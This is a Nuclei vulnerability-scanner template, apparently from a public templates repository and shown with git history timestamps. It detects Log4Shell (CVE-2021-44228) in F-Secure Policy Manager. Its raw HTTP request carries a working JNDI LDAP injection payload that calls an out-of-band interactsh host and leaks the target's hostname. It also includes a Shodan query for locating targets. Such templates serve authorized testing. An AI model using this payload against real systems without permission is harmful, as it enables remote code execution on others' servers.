nuclei-templates/http/vulnerabilities/other/f-secure-policymanager-log4...

63 lines
1.9 KiB
YAML
Raw Permalink Normal View History

2023-10-18 20:00:15 +00:00
id: f-secure-policymanager-log4j-rce
info:
name: F-Secure Policy Manager - Remote Code Execution (Apache Log4j)
2023-10-19 07:28:29 +00:00
author: shaikhyaser
2023-10-18 20:00:15 +00:00
severity: critical
description: |
2023-10-19 07:28:29 +00:00
F-Secure Policy Manager is susceptible to Log4j JNDI remote code execution.
2023-10-18 20:00:15 +00:00
reference:
- https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
metadata:
verified: true
max-request: 1
shodan-query: html:"F-Secure Policy Manager"
2023-10-18 20:00:15 +00:00
tags: cve,cve2021,rce,jndi,log4j,fsecure,oast,kev
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
2023-10-19 07:28:29 +00:00
str: "{{rand_base(5)}}"
2023-10-18 20:00:15 +00:00
http:
- raw:
- |
2023-10-19 07:28:29 +00:00
GET /fsms/fsmsh.dll?FSMSCommand=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}} HTTP/1.1
2023-10-18 20:00:15 +00:00
Host: {{Hostname}}
Referrer: {{RootURL}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
2023-11-17 08:49:19 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
2023-10-18 20:00:15 +00:00
extractors:
- type: kval
kval:
2023-11-17 08:49:19 +00:00
- interactsh_ip
2023-10-18 20:00:15 +00:00
- type: regex
2023-11-17 08:49:19 +00:00
part: interactsh_request
2023-10-18 20:00:15 +00:00
group: 2
regex:
2023-11-17 08:49:19 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
2023-10-18 20:00:15 +00:00
- type: regex
2023-11-17 08:49:19 +00:00
part: interactsh_request
2023-10-18 20:00:15 +00:00
group: 1
regex:
2023-11-17 08:49:19 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 490a00463044022029bc7d0c14d1bedabb84f5caf6a3cf04431dad3a09f2171adcaea50b5b50313402203d9eb0e78fee5e95eb9f6caffa68eea872e30998591265b644ea8e411d12f7f1:922c64590222798bb761d5b6d8e72950